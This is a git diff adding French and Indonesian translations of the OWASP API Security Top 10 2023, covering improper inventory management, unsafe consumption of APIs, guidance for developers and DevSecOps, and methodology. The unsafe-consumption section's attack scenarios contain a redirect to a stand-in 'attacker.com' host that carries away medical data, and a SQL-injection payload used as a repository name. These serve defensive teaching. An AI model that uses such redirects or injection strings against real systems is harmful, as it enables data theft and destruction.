https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery +[5]: https://cwe.mitre.org/data/definitions/2.html +[6]: https://cwe.mitre.org/data/definitions/16.html +[7]: https://cwe.mitre.org/data/definitions/209.html +[8]: https://cwe.mitre.org/data/definitions/319.html +[9]: https://cwe.mitre.org/data/definitions/388.html +[10]: https://cwe.mitre.org/data/definitions/444.html +[11]: https://cwe.mitre.org/data/definitions/942.html +[12]: https://csrc.nist.gov/publications/detail/sp/800-123/final +[13]: https://letsencrypt.org/ diff --git a/editions/2023/fr/0xa9-improper-inventory-management.md b/editions/2023/fr/0xa9-improper-inventory-management.md new file mode 100644 index 000000000..aa87b54f3 --- /dev/null +++ b/editions/2023/fr/0xa9-improper-inventory-management.md @@ -0,0 +1,66 @@ +# API9:2023 Improper Inventory Management + +| Facteurs de menace/Vecteurs d'attaque | Faiblesse de sécurité | Impacts | +| - | - | - | +| Spécifique à l'API : Exploitabilité **Facile** | Prévalence **Répandue** : Détection **Moyenne** | Technique **Modérée** : Spécifique à l'organisation | +| Les attaquants cherchent généralement à accéder de manière non autorisée à travers d'anciennes versions d'API ou des points d'accès laissés non corrigés et utilisant des exigences de sécurité plus faibles. Dans certains cas, des exploits sont disponibles. Alternativement, ils peuvent accéder à des données sensibles via un tiers avec lequel il n'y a aucune raison de partager des données. | Une documentation obsolète rend plus difficile la recherche et/ou la correction des vulnérabilités. L'absence d'inventaire des actifs et de stratégies de retraite conduit à l'exécution de systèmes non corrigés, entraînant une fuite de données sensibles. Il est courant de trouver des hôtes API inutilement exposés en raison de concepts modernes tels que les microservices, qui facilitent le déploiement et l'indépendance des applications (par exemple, le cloud computing, K8S). Une simple recherche Google Dorking, une énumération DNS ou l'utilisation de moteurs de recherche spécialisés pour divers types de serveurs (webcams, routeurs, serveurs, etc.) connectés à Internet suffiront pour découvrir des cibles. | Les attaquants peuvent accéder à des données sensibles, voire prendre le contrôle du serveur. Parfois, différentes versions/déploiements d'API sont connectés à la même base de données avec des données réelles. Les agents de menace peuvent exploiter des points d'accès obsolètes disponibles dans d'anciennes versions d'API pour accéder à des fonctions d'administration ou exploiter des vulnérabilités connues. | + +## L'API est-elle vulnérable ? + +Les API modernes sont souvent exposées à des risques de sécurité en raison de la complexité des applications et de la nature connectée des systèmes. Les API sont souvent mal documentées, ce qui rend difficile la recherche et la correction des vulnérabilités. Les API obsolètes ou non corrigées sont des cibles faciles pour les attaquants. + +Faire fonctionner plusieurs versions d'une API nécessite des ressources de gestion supplémentaires de la part du fournisseur de l'API et augmente la surface d'attaque. + +Une API a un "angle mort de la documentation" si : + +* Le but de l'hôte de l'API n'est pas clair, et il n'y a pas de réponses explicites aux questions suivantes + * Dans quel environnement l'API fonctionne-t-elle (par exemple, production, staging, test, développement) ? + * Qui devrait avoir accès au réseau de l'API (par exemple, public, interne, partenaires) ? + * Quelle version de l'API est en cours d'exécution ? +* Il n'y a pas de documentation ou la documentation existante n'est pas mise à jour. +* Il n'y a pas de plan de retraite pour chaque version de l'API. +* L'inventaire de l'hôte est manquant ou obsolète. + +La visibilité et l'inventaire des flux de données sensibles jouent un rôle important dans le cadre d'un plan de réponse aux incidents, au cas où une violation se produirait du côté du tiers. + +Une API a un "angle mort du flux de données" si : + +* Il y a un "flux de données sensible" où l'API partage des données sensibles avec un tiers et + * Il n'y a pas de justification commerciale ou d'approbation du flux + * Il n'y a pas d'inventaire ou de visibilité du flux + * Il n'y a pas de visibilité approfondie sur le type de données sensibles partagées + + +## Exemple de scénarios d'attaque + +### Scénario #1 + +Un réseau social a mis en place un mécanisme de limitation du taux qui bloque les attaquants qui utilisent la force brute pour deviner les jetons de réinitialisation de mot de passe. Ce mécanisme n'a pas été mis en place dans le code de l'API lui-même, mais dans un composant séparé entre le client et l'API officielle (`api.socialnetwork.owasp.org`). Un chercheur a trouvé un hôte API bêta (`beta.api.socialnetwork.owasp.org`) qui exécute la même API, y compris le mécanisme de réinitialisation du mot de passe, mais le mécanisme de limitation du taux n'était pas en place. Le chercheur a pu réinitialiser le mot de passe de n'importe quel utilisateur en utilisant une simple force brute pour deviner le jeton à 6 chiffres. + +### Scénario #2 + +Un réseau social permet aux développeurs d'applications indépendantes d'intégrer leurs applications avec lui. Dans le cadre de ce processus, un consentement est demandé à l'utilisateur final, afin que le réseau social puisse partager les informations personnelles de l'utilisateur avec l'application indépendante. + +Le flux de données entre le réseau social et les applications indépendantes n'est pas suffisamment restrictif ou surveillé, permettant aux applications indépendantes d'accéder non seulement aux informations de l'utilisateur, mais aussi aux informations privées de tous leurs amis. + +Une société de conseil crée une application malveillante et parvient à obtenir le consentement de 270 000 utilisateurs. En raison de la faille, la société de conseil parvient à accéder aux informations privées de 50 000 000 d'utilisateurs. Plus tard, la société de conseil vend les informations à des fins malveillantes. + +## Comment s'en prémunir ? + +* Inventoriez tous les hôtes API et documentez les aspects importants de chacun d'eux, en mettant l'accent sur l'environnement de l'API (par exemple, production, staging, test, développement), qui devrait avoir accès, en réseau, à l'hôte (par exemple, public, interne, partenaires) et la version d'API. +* Inventoriez les services intégrés et documentez les aspects importants tels que leur rôle dans le système, les données échangées (flux de données) et leur sensibilité. +* Documentez tous les aspects de votre API tels que l'authentification, les erreurs, les redirections, la limitation du taux, la politique de partage des ressources entre origines (CORS) et les points d'accès, y compris leurs paramètres, requêtes et réponses. +* Générez automatiquement la documentation en adoptant des normes ouvertes. Incluez la génération de documentation dans votre pipeline CI/CD. +* Rendez la documentation de l'API disponible uniquement aux personnes autorisées à utiliser l'API. +* Utilisez des mesures de protection externes telles que des solutions de sécurité spécifiques aux APIs pour toutes les versions exposées de vos API, pas seulement pour la version de production. +* Évitez d'utiliser des données de production avec des déploiements d'API hors production. Si cela est inévitable, ces points d'accès doivent bénéficier du même traitement de sécurité que les points d'accès de production. +* Lorsque les nouvelles versions des API incluent des améliorations de sécurité, effectuez une analyse des risques pour informer des actions de mitigation requises pour les anciennes versions. Par exemple, s'il est possible de rétroporter les améliorations sans casser la compatibilité de l'API plus ancienne ou si vous devez retirer rapidement l'ancienne version et forcer tous les clients à passer à la dernière version. + + +## Références + +### Externes + +* [CWE-1059: Incomplete Documentation][1] + +[1]: https://cwe.mitre.org/data/definitions/1059.html diff --git a/editions/2023/fr/0xaa-unsafe-consumption-of-apis.md b/editions/2023/fr/0xaa-unsafe-consumption-of-apis.md new file mode 100644 index 000000000..37ea83799 --- /dev/null +++ b/editions/2023/fr/0xaa-unsafe-consumption-of-apis.md @@ -0,0 +1,86 @@ +# API10:2023 Unsafe Consumption of APIs + +| Facteurs de menace / Vecteurs d'attaque | Faille de sécurité | Impact | +| - | - | - | +| Spécifique à l'API : Exploitabilité **Facile** | Prévalence **Courante** : Détectabilité **Moyenne** | Technique **Grave** : Spécifique à l'organisation | +| Exploiter ce problème nécessite que les attaquants identifient et compromettent potentiellement d'autres APIs/services avec lesquels l'API cible est intégrée. Habituellement, ces informations ne sont pas publiquement disponibles ou l'API/service intégré n'est pas facilement exploitable. | Les développeurs ont tendance à faire confiance et ne pas vérifier les points d'accès qui interagissent avec des API/services externes ou tiers, en se basant sur des exigences de sécurité plus faibles telles que celles concernant la sécurité du transport, l'authentification/l'autorisation et la validation des entrées. Les attaquants doivent identifier les services avec lesquels l'API cible s'intègre (sources de données) et, éventuellement, les compromettre. | L'impact varie en fonction de ce que l'API cible fait avec les données extraites. L'exploitation réussie peut entraîner une exposition d'informations sensibles à des acteurs non autorisés, de nombreux types d'injections, ou un déni de service. | + +## L'API est-elle vulnérable ? + +Les développeurs ont tendance à faire confiance aux données reçues des API tierces plus qu'aux entrées utilisateur. Cela est particulièrement vrai pour les API proposées par des entreprises bien connues. En raison de cela, les développeurs ont tendance à adopter des normes de sécurité plus faibles, par exemple en ce qui concerne la validation des entrées et l'analyse en vu de caractères autorisés ou non en entrée (effacés ou échappés). + +L'API peut être vulnérable si : +* Elle interagit avec d'autres API sur un canal non chiffré ; +* Elle ne valide/filtre pas correctement les données collectées auprès d'autres API avant de les traiter ou de les transmettre à des composants en aval ; +* Elle suit aveuglément les redirections ; +* Elle ne limite pas le nombre de ressources disponibles pour traiter les réponses des services tiers ; +* Elle n'implémente pas de délais d'attente pour les interactions avec les services tiers. + +## Exemple de scénarios d'attaque + +### Scénario #1 + +Une API repose sur un service tiers pour enrichir les adresses commerciales fournies par les utilisateurs. Lorsqu'une adresse est fournie à l'API par l'utilisateur final, elle est envoyée au service tiers et les données renvoyées sont ensuite stockées dans une base de données locale compatible SQL. + +Les attaquants utilisent le service tiers pour stocker une payload SQLi associée à une entreprise créée par eux. Ensuite, ils ciblent l'API vulnérable en fournissant une entrée spécifique qui la pousse à extraire leur "entreprise malveillante" du service tiers. La charge utile SQLi est alors exécutée par la base de données, exfiltrant des données vers un serveur contrôlé par un attaquant. + +### Scénario #2 + +Une API s'intègre à un fournisseur de services tiers pour stocker en toute sécurité des informations médicales sensibles sur les utilisateurs. Les données sont envoyées via une connexion sécurisée en utilisant une requête HTTP comme celle ci-dessous : + +``` +POST /user/store_phr_record +{ + "genome": "ACTAGTAG__TTGADDAAIICCTT…" +} +``` + +Des acteurs malveillants ont trouvé un moyen de compromettre l'API tierce et elle commence à répondre avec une redirection permanente `308` aux requêtes comme la précédente. + +``` +HTTP/1.1 308 Permanent Redirect +Location: https://attacker.com/ +``` + +Puisque l'API suit aveuglément les redirections, elle répète la même requête, y compris les données sensibles de l'utilisateur, vers le serveur de l'attaquant. + +### Scénario #3 + +Un attaquant peut préparer un dépôt git nommé `'; drop db;--`. + +Maintenant, lorsqu'une intégration d'une application attaquée est effectuée avec le dépôt malveillant, une charge utile d'injection SQL est utilisée sur une application qui construit une requête SQL en croyant que le nom du dépôt est une entrée sûre. + +## Comment s'en prémunir ? + +* Lors de l'évaluation des fournisseurs de services, évaluez leur posture de sécurité API. +* Assurez-vous que toutes les interactions API se font sur un canal de communication sécurisé (TLS). +* Validez toujours et épurez correctement les données reçues des API intégrées avant de les utiliser. +* Maintenez une liste blanche des emplacements bien connus vers lesquels les API intégrées peuvent rediriger les vôtres : ne suivez pas aveuglément les redirections. + + +## Références + +### OWASP + +* [Web Service Security Cheat Sheet][1] +* [Injection Flaws][2] +* [Input Validation Cheat Sheet][3] +* [Injection Prevention Cheat Sheet][4] +* [Transport Layer Protection Cheat Sheet][5] +* [Unvalidated Redirects and Forwards Cheat Sheet][6] + +### Externes + +* [CWE-20: Improper Input Validation][7] +* [CWE-200: Exposure of Sensitive Information to an Unauthorized Actor][8] +* [CWE-319: Cleartext Transmission of Sensitive Information][9] + +[1]: https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html +[2]: https://www.owasp.org/index.php/Injection_Flaws +[3]: https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html +[4]: https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html +[5]: https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html +[6]: https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html +[7]: https://cwe.mitre.org/data/definitions/20.html +[8]: https://cwe.mitre.org/data/definitions/200.html +[9]: https://cwe.mitre.org/data/definitions/319.html diff --git a/editions/2023/fr/0xb0-next-devs.md b/editions/2023/fr/0xb0-next-devs.md new file mode 100644 index 000000000..bb5b4c02a --- /dev/null +++ b/editions/2023/fr/0xb0-next-devs.md @@ -0,0 +1,31 @@ +# Perspectives pour les Développeurs +La tâche de créer et de maintenir des applications sécurisées, ou de corriger des applications existantes, peut être difficile. Il en va de même pour les API. + +Nous croyons que l'éducation et la sensibilisation sont des facteurs clés pour écrire des logiciels sécurisés. Tout le reste nécessaire pour atteindre l'objectif dépend de **l'établissement et de l'utilisation de processus de sécurité répétables et de contrôles de sécurité standard**. + +OWASP fournit de nombreuses ressources gratuites et ouvertes pour vous aider à aborder la sécurité. Veuillez visiter la [page des Projets OWASP][1] pour une liste complète des projets disponibles. + +| | | +|-|-| +| **Éducation** | Le [Guide de Sécurité des Applications OWASP][2] devrait vous donner une bonne idée des projets disponibles pour chaque étape/phase du Cycle de Vie du Développement Logiciel (SDLC). Pour une formation pratique, vous pouvez commencer avec [OWASP **crAPI** - **C**ompletely **R**idiculous **API**][3] ou [OWASP Juice Shop][4] : tous deux ont des APIs intentionnellement vulnérables. Le [Projet de Répertoire d'Applications Web Vulnérables OWASP][5] fournit une liste de projets d'applications intentionnellement vulnérables : vous y trouverez plusieurs autres APIs vulnérables. Vous pouvez également assister à des sessions de formation de la [Conférence OWASP AppSec][6], ou [rejoindre votre chapitre local][7]. | +| **Exigences de Sécurité** | La sécurité devrait faire partie de chaque projet dès le début. Lors de la définition des exigences, il est important de définir ce que "sécurisé" signifie pour ce projet. OWASP vous recommande d'utiliser le [Standard de Vérification de Sécurité des Applications OWASP (ASVS)][8] comme guide pour définir les exigences de sécurité. Si vous externalisez, considérez l'[Annexe de Contrat de Logiciel Sécurisé OWASP][9], qui devrait être adaptée en fonction des lois et réglementations locales. | +| **Architecture de Sécurité** | La sécurité devrait rester une préoccupation pendant toutes les étapes du projet. La [Série de Cheet Sheat OWASP][10] est un bon point de départ pour obtenir des conseils sur la façon de concevoir la sécurité pendant la phase d'architecture. Parmi beaucoup d'autres, vous trouverez la [Fiche de Triche sur la Sécurité REST][11] et la [Fiche de Triche sur l'Évaluation REST][12] ainsi que la [Fiche de Triche GraphQL][13]. | +| **Contrôles de Sécurité Standard** | L'adoption de contrôles de sécurité standard réduit le risque d'introduire des faiblesses de sécurité tout en écrivant votre propre logique. Bien que de nombreux frameworks modernes viennent maintenant avec des contrôles standard efficaces intégrés, [OWASP Proactive Controls][14] vous donne un bon aperçu des contrôles de sécurité que vous devriez chercher à inclure dans votre projet. OWASP fournit également certaines bibliothèques et outils que vous pourriez trouver précieux, tels que des contrôles de validation. | +| **Cycle de Vie de Développement Logiciel Sécurisé** | Vous pouvez utiliser le [Modèle de Maturité de l'Assurance Logicielle OWASP (SAMM)][15] pour améliorer vos processus de construction d'API. Plusieurs autres projets OWASP sont disponibles pour vous aider pendant les différentes phases de développement d'API, par exemple, le [Guide de Révision de Code OWASP][16]. | + +[1]: https://owasp.org/projects/ +[2]: https://owasp.org/projects/#owasp-projects-the-sdlc-and-the-security-wayfinder +[3]: https://owasp.org/www-project-crapi/ +[4]: https://owasp.org/www-project-juice-shop/ +[5]: https://owasp.org/www-project-vulnerable-web-applications-directory/ +[6]: https://owasp.org/events/ +[7]: https://owasp.org/chapters/ +[8]: https://owasp.org/www-project-application-security-verification-standard/ +[9]: https://owasp.org/www-community/OWASP_Secure_Software_Contract_Annex +[10]: https://cheatsheetseries.owasp.org/ +[11]: https://cheatsheetseries.owasp.org/cheatsheets/REST_Security_Cheat_Sheet.html +[12]: https://cheatsheetseries.owasp.org/cheatsheets/REST_Assessment_Cheat_Sheet.html +[13]: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html +[14]: https://owasp.org/www-project-proactive-controls/ +[15]: https://owasp.org/www-project-samm/ +[16]: https://owasp.org/www-project-code-review-guide/ diff --git a/editions/2023/fr/0xb1-next-devsecops.md b/editions/2023/fr/0xb1-next-devsecops.md new file mode 100644 index 000000000..8ba5cae79 --- /dev/null +++ b/editions/2023/fr/0xb1-next-devsecops.md @@ -0,0 +1,23 @@ +# Perspectives pour les DevSecOps + +En raison de leur importance dans les architectures d'applications modernes, la construction d'API sécurisées est cruciale. La sécurité ne peut être négligée et doit faire partie de tout le cycle de développement. Scanner et réaliser des tests de pénétration une fois par an ne suffit plus. + +Les DevSecOps devraient rejoindre l'effort de développement, facilitant les tests de sécurité continus tout au long du cycle de vie du logiciel. Votre objectif devrait être d'améliorer le pipeline de développement avec l'automatisation de la sécurité, sans impacter la vitesse de développement. + +En cas de doute, restez informé et référez-vous au [Manifeste DevSecOps][1]. + +| | | +|-|-| +| **Comprendre le Modèle de Menace** | Les priorités de test proviennent d'un modèle de menace. Si vous n'en avez pas, envisagez d'utiliser le [Standard de Vérification de Sécurité des Applications OWASP (ASVS)][2], et le [Guide de Test de Sécurité OWASP][3] comme entrée. Impliquer l'équipe de développement les rendra plus conscients de la sécurité. | +| **Comprendre le SDLC** | Rejoignez l'équipe de développement pour mieux comprendre le Cycle de Vie du Développement Logiciel. Votre contribution aux tests de sécurité continus doit être compatible avec les personnes, les processus et les outils. Tout le monde devrait être d'accord avec le processus, pour qu'il n'y ait pas de friction ou de résistance inutile. | +| **Stratégies de Test** | Puisque votre travail ne doit pas impacter la vitesse de développement, vous devriez choisir judicieusement la meilleure technique (simple, rapide, précise) pour vérifier les exigences de sécurité. Le [Cadre de Connaissance de Sécurité OWASP][4] et le [Standard de Vérification de Sécurité des Applications OWASP][2] peuvent être de grandes sources d'exigences de sécurité fonctionnelles et non fonctionnelles. Il existe d'autres excellentes sources pour des [projets][5] et [outils][6] similaires à ceux proposés par la [communauté DevSecOps][7]. | +| **Atteindre la Couverture et la Précision** | Vous êtes le pont entre les équipes de développement et d'exploitation. Pour atteindre une couverture, vous devriez non seulement vous concentrer sur la fonctionnalité, mais aussi sur l'orchestration. Travaillez étroitement avec les équipes de développement et d'exploitation dès le début pour optimiser votre temps et vos efforts. Vous devriez viser un état où la sécurité essentielle est vérifiée en continu. | +| **Communiquer Clairement les Résultats** | Apportez de la valeur avec moins ou pas de friction. Livrez les résultats en temps voulu, dans les outils que les équipes de développement utilisent (pas de fichiers PDF). Rejoignez l'équipe de développement pour traiter les résultats. Profitez de l'occasion pour les former, en décrivant clairement la faiblesse et comment elle peut être exploitée, y compris un scénario d'attaque pour le rendre réel. | + +[1]: https://www.devsecops.org/ +[2]: https://owasp.org/www-project-application-security-verification-standard/ +[3]: https://owasp.org/www-project-web-security-testing-guide/ +[4]: https://owasp.org/www-project-security-knowledge-framework/ +[5]: http://devsecops.github.io/ +[6]: https://github.com/devsecops/awesome-devsecops +[7]: http://devsecops.org diff --git a/editions/2023/fr/0xd0-about-data.md b/editions/2023/fr/0xd0-about-data.md new file mode 100644 index 000000000..01cedf68c --- /dev/null +++ b/editions/2023/fr/0xd0-about-data.md @@ -0,0 +1,39 @@ +# Méthodologie et données + +## Aperçu + +Pour cette mise à jour de la liste, l'équipe OWASP API Security a utilisé la même méthodologie que celle utilisée pour la liste de 2019, qui a été bien adoptée et couronnée de succès, avec l'ajout d'un [Appel à Données][1] public de 3 mois. Malheureusement, cet appel à données n'a pas donné lieu à des données qui auraient permis une analyse statistique pertinente des problèmes de sécurité des API les plus courants. + +Cependant, avec une industrie de la sécurité des API plus mature capable de fournir des retours directs et des informations, le processus de mise à jour a avancé en utilisant la même méthodologie qu'auparavant. + +Arrivés ici, nous pensons disposer d'un document de sensibilisation prospectif pour les trois ou quatre prochaines années, plus axé sur les problèmes spécifiques aux API modernes. L'objectif de ce projet n'est pas de remplacer d'autres listes de TOP 10, mais plutôt de couvrir les risques de sécurité des API existants et à venir sur lesquels nous pensons que l'industrie devrait être consciente et vigilante. + +## Méthodologie + +Dans la première phase, des données publiques sur les incidents de sécurité des API ont été collectées, examinées et catégorisées. Ces données ont été collectées à partir de plateformes de bug bounty et de rapports disponibles publiquement. Seuls les problèmes signalés entre 2019 et 2022 ont été pris en compte. Ces données ont été utilisées pour donner à l'équipe une idée de la direction dans laquelle le TOP 10 devrait évoluer, ainsi que pour aider à traiter un éventuel biais des données contribuées. + +Un [Appel à Données][1] public a été lancé du 1er septembre au 30 novembre 2022. En parallèle, l'équipe du projet a commencé à discuter de ce qui a changé depuis 2019. La discussion a porté sur l'impact de la première liste, les retours reçus de la communauté et les nouvelles tendances en matière de sécurité des API. + +L'équipe du projet a organisé des réunions avec des spécialistes des menaces de sécurité des API pour obtenir des informations sur la manière dont les victimes sont impactées et sur la manière dont ces menaces peuvent être atténuées. + +Cet effort a abouti à une première ébauche de ce que l'équipe estime être les dix risques de sécurité des API les plus critiques. La [Méthodologie de Notation des Risques OWASP][2] a été utilisée pour effectuer l'analyse des risques. Les notations de prévalence ont été décidées à partir d'un consensus entre les membres de l'équipe du projet, sur la base de leur expérience dans le domaine. Pour des considérations sur ces questions, veuillez vous référer à la section [Risques de Sécurité des API][3]. + +La première ébauche a ensuite été partagée pour examen avec des professionels de la sécurité ayant une expérience dans les domaines de la sécurité des API. Leurs commentaires ont été examinés, discutés et, le cas échéant, inclus dans le document. Le document résultant a été [publié en tant que Candidat à la Publication][4] pour [discussion ouverte][5]. Plusieurs [contributions de la communauté][6] ont été incluses dans le document final. + +La liste des contributeurs est disponible dans la section [Remerciements][7]. + +## Risques spécifiques aux API + +La liste est construite pour aborder les risques de sécurité qui sont plus spécifiques aux API. + +Cela n'implique pas que d'autres risques de sécurité génériques d'applications n'existent pas dans les applications basées sur des API. Par exemple, nous n'avons pas inclus des risques tels que "Composants Vulnérables et Obsolètes" ou "Injection", même si vous pourriez les trouver dans des applications basées sur des API. Ces risques sont génériques, ils ne se comportent pas différemment dans les API, leur exploitation n'est pas différente. + +Notre objectif est d'augmenter la sensibilisation aux risques de sécurité qui méritent une attention particulière dans les API. + +[1]: https://owasp.org/www-project-api-security/announcements/cfd/2022/ +[2]: https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology +[3]: ./0x10-api-security-risks.md +[4]: https://owasp.org/www-project-api-security/announcements/2023/02/api-top10-2023rc +[5]: https://github.com/OWASP/API-Security/issues?q=is%3Aissue+label%3A2023RC +[6]: https://github.com/OWASP/API-Security/pulls?q=is%3Apr+label%3A2023RC +[7]: ./0xd1-acknowledgments.md diff --git a/editions/2023/fr/0xd1-acknowledgments.md b/editions/2023/fr/0xd1-acknowledgments.md new file mode 100644 index 000000000..657fc8d88 --- /dev/null +++ b/editions/2023/fr/0xd1-acknowledgments.md @@ -0,0 +1,12 @@ +# Remerciements + +## Remerciements aux Contributeurs + +Nous aimerions remercier les contributeurs suivants qui ont contribué publiquement sur GitHub, ou via d'autres moyens : + +247arjun, abunuwas, Alissa Knight, Arik Atar, Aurélien Troncy, aymenfurter, Corey J. Ball, cyn8, +d0znpp, Dan Gordon, donge, Dor Tumarkin, faizzaidi, gavjl, guybensimhon, Inês +Martins, Isabelle Mauny, Ivan Novikov, jmanico, Juan Pablo, k7jto, LaurentCB, +llegaz, Maxim Zavodchik, MrPRogers, planetlevel, rahulk22, Roey Eliyahu, Roshan +Piyush, securitylevelup, sudeshgadewar123, Tatsuya-hasegawa, tebbers, vanderaj, +wenz, xplo1t-sec, Yaniv Balmas, ynvb diff --git a/editions/2023/fr/images/cover.jpg b/editions/2023/fr/images/cover.jpg new file mode 100644 index 000000000..db6e87f8d Binary files /dev/null and b/editions/2023/fr/images/cover.jpg differ diff --git a/editions/2023/fr/images/front-cc.png b/editions/2023/fr/images/front-cc.png new file mode 100644 index 000000000..45f139804 Binary files /dev/null and b/editions/2023/fr/images/front-cc.png differ diff --git a/editions/2023/fr/images/front-wasp.png b/editions/2023/fr/images/front-wasp.png new file mode 100644 index 000000000..5a163dd4b Binary files /dev/null and b/editions/2023/fr/images/front-wasp.png differ diff --git a/editions/2023/fr/images/license.png b/editions/2023/fr/images/license.png new file mode 100644 index 000000000..124d3ba4d Binary files /dev/null and b/editions/2023/fr/images/license.png differ diff --git a/editions/2023/fr/images/owasp-logo.png b/editions/2023/fr/images/owasp-logo.png new file mode 100644 index 000000000..b0af38b27 Binary files /dev/null and b/editions/2023/fr/images/owasp-logo.png differ diff --git a/editions/2023/id/0x00-header.md b/editions/2023/id/0x00-header.md new file mode 100644 index 000000000..d317ecadf --- /dev/null +++ b/editions/2023/id/0x00-header.md @@ -0,0 +1,14 @@ +--- +title: '' +description: OWASP API Security Top 10 edisi 2023 +--- + +![OWASP LOGO](images/cover.jpg) + +| | | | +| - | - | - | +| https://owasp.org | Karya ini dilisensikan di bawah [Creative Commons Attribution-ShareAlike 4.0 International License][1] | ![Creative Commons License Logo](images/front-cc.png) | + +[1]: http://creativecommons.org/licenses/by-sa/4.0/ + + diff --git a/editions/2023/id/0x00-notice.md b/editions/2023/id/0x00-notice.md new file mode 100644 index 000000000..7cd7e2431 --- /dev/null +++ b/editions/2023/id/0x00-notice.md @@ -0,0 +1,11 @@ +# Pemberitahuan + +Ini adalah versi teks dari OWASP API Security Top 10, digunakan sebagai sumber untuk semua versi resmi dokumen ini seperti situs web. + +Kontribusi terhadap proyek seperti komentar, koreksi, atau terjemahan harus dilakukan di sini. Untuk perincian tentang [Cara Berkontribusi][1], harap mengacu pada [CONTRIBUTING.md][1]. + +* Erez Yallon +* Inon Shkedy +* Paulo Silva + +[1]: ../../../CONTRIBUTING.md \ No newline at end of file diff --git a/editions/2023/id/0x00-toc.md b/editions/2023/id/0x00-toc.md new file mode 100644 index 000000000..98a0fcb7b --- /dev/null +++ b/editions/2023/id/0x00-toc.md @@ -0,0 +1,23 @@ +# Daftar Isi + +* [Daftar Isi](0x00-toc.md) +* [Tentang OWASP](0x01-about-owasp.md) +* [Kata Pengantar](0x02-foreword.md) +* [Pendahuluan](0x03-introduction.md) +* [Catatan Rilis](0x04-release-notes.md) +* [Risiko Keamanan API](0x10-api-security-risks.md) +* [OWASP Top 10 Risiko Keamanan API - 2023](0x11-t10.md) +* [API1:2023 Kerusakan Otorisasi Tingkat Obyek](0xa1-broken-object-level-authorization.md) +* [API2:2023 Kerusakan Otentikasi](0xa2-broken-authentication.md) +* [API3:2023 Kerusakan Otorisasi Tingkat Properti Obyek](0xa3-broken-object-property-level-authorization.md) +* [API4:2023 Konsumsi Sumber Daya yang Tidak Dibatasi](0xa4-unrestricted-resource-consumption.md) +* [API5:2023 Kerusakan Otorisasi Tingkat Fungsi](0xa5-broken-function-level-authorization.md) +* [API6:2023 Akses Tanpa Batas ke Aliran Bisnis Sensitif](0xa6-unrestricted-access-to-sensitive-business-flows.md) +* [API7:2023 Pemalsuan Permintaan Sisi Server](0xa7-server-side-request-forgery.md) +* [API8:2023 Kesalahan Konfigurasi Keamanan](0xa8-security-misconfiguration.md) +* [API9:2023 Manajemen Inventaris yang Tidak Tepat](0xa9-improper-inventory-management.md) +* [API10:2023 Konsumsi API yang Tidak Aman](0xaa-unsafe-consumption-of-apis.md) +* [Apa Selanjutnya untuk Pengembang](0xb0-next-devs.md) +* [Apa Selanjutnya untuk DevSecOps](0xb1-next-devsecops.md) +* [Metodologi dan Data](0xd0-about-data.md) +* [Ucapan Terima Kasih](0xd1-acknowledgments.md) diff --git a/editions/2023/id/0x01-about-owasp.md b/editions/2023/id/0x01-about-owasp.md new file mode 100644 index 000000000..3234831d0 --- /dev/null +++ b/editions/2023/id/0x01-about-owasp.md @@ -0,0 +1,44 @@ +# Tentang OWASP + +Open Worldwide Application Security Project (OWASP) adalah komunitas terbuka yang didedikasikan untuk memungkinkan organisasi mengembangkan, membeli, dan memelihara aplikasi dan API yang dapat dipercaya. + +Di OWASP, Anda akan menemukan gratis dan terbuka: + +* Alat dan standar keamanan aplikasi. +* Buku lengkap tentang pengujian keamanan aplikasi, pengembangan kode yang aman, dan tinjauan kode yang aman. +* Presentasi dan [video][1]. +* [Cheat sheet][2] berbagai topik umum. +* Kendali dan pustaka keamanan standar. +* [Chapter lokal di seluruh dunia][3]. +* Penelitian mutakhir. +* [Beragam konferensi di seluruh dunia][4]. +* [Mailing list][5] ([arsip][6]). + +Pelajari lebih lanjut di: [https://www.owasp.org][7]. + +Semua alat, dokumen, video, presentasi, dan chapter OWASP gratis dan terbuka bagi siapa pun yang tertarik dalam meningkatkan keamanan aplikasi. + +Kami menganjurkan melihat keamanan aplikasi sebagai masalah orang, proses, dan teknologi, karena pendekatan paling efektif terhadap keamanan aplikasi membutuhkan peningkatan di area ini. + +OWASP adalah organisasi jenis baru. Kebebasan kami dari tekanan komersial memungkinkan kami untuk memberikan informasi praktis, tidak bias, dan hemat biaya tentang keamanan aplikasi. + +OWASP tidak berafiliasi dengan perusahaan teknologi mana pun, meskipun kami mendukung penggunaan teknologi keamanan komersial yang terinformasi. OWASP memproduksi banyak jenis materi dengan cara kolaboratif, transparan, dan terbuka. + +Yayasan OWASP adalah entitas nirlaba yang memastikan keberhasilan jangka panjang proyek. Hampir semua orang yang terkait dengan OWASP adalah relawan, termasuk dewan OWASP, pemimpin chapter, pemimpin proyek, dan anggota proyek. Kami mendukung penelitian keamanan inovatif dengan hibah dan infrastruktur. + +Bergabunglah dengan kami! + +## Hak Cipta dan Lisensi + +![license](images/license.png) + +Hak Cipta © 2003-2023 Yayasan OWASP. Dokumen ini dirilis di bawah [Creative Commons Attribution Share-Alike 4.0 license][8]. Untuk setiap penggunaan kembali atau distribusi, Anda harus menjelaskan kepada orang lain ketentuan lisensi karya ini. + +[1]: https://www.youtube.com/user/OWASPGLOBAL +[2]: https://cheatsheetseries.owasp.org/ +[3]: https://owasp.org/chapters/ +[4]: https://owasp.org/events/ +[5]: https://groups.google.com/a/owasp.org/forum/#!overview +[6]: https://lists.owasp.org/mailman/listinfo +[7]: https://www.owasp.org +[8]: http://creativecommons.org/licenses/by-sa/4.0/ \ No newline at end of file diff --git a/editions/2023/id/0x02-foreword.md b/editions/2023/id/0x02-foreword.md new file mode 100644 index 000000000..89863e67b --- /dev/null +++ b/editions/2023/id/0x02-foreword.md @@ -0,0 +1,26 @@ +# Kata Pengantar + +Elemen inovasi dasar di dunia yang digerakkan aplikasi hari ini adalah Application Programming Interface (API). Dari bank, ritel, dan transportasi hingga IoT, kendaraan otonom, dan kota pintar, API merupakan bagian penting dari aplikasi seluler, SaaS, dan web aplikasi dan dapat ditemukan dalam aplikasi untuk pelanggan, mitra, dan internal. + 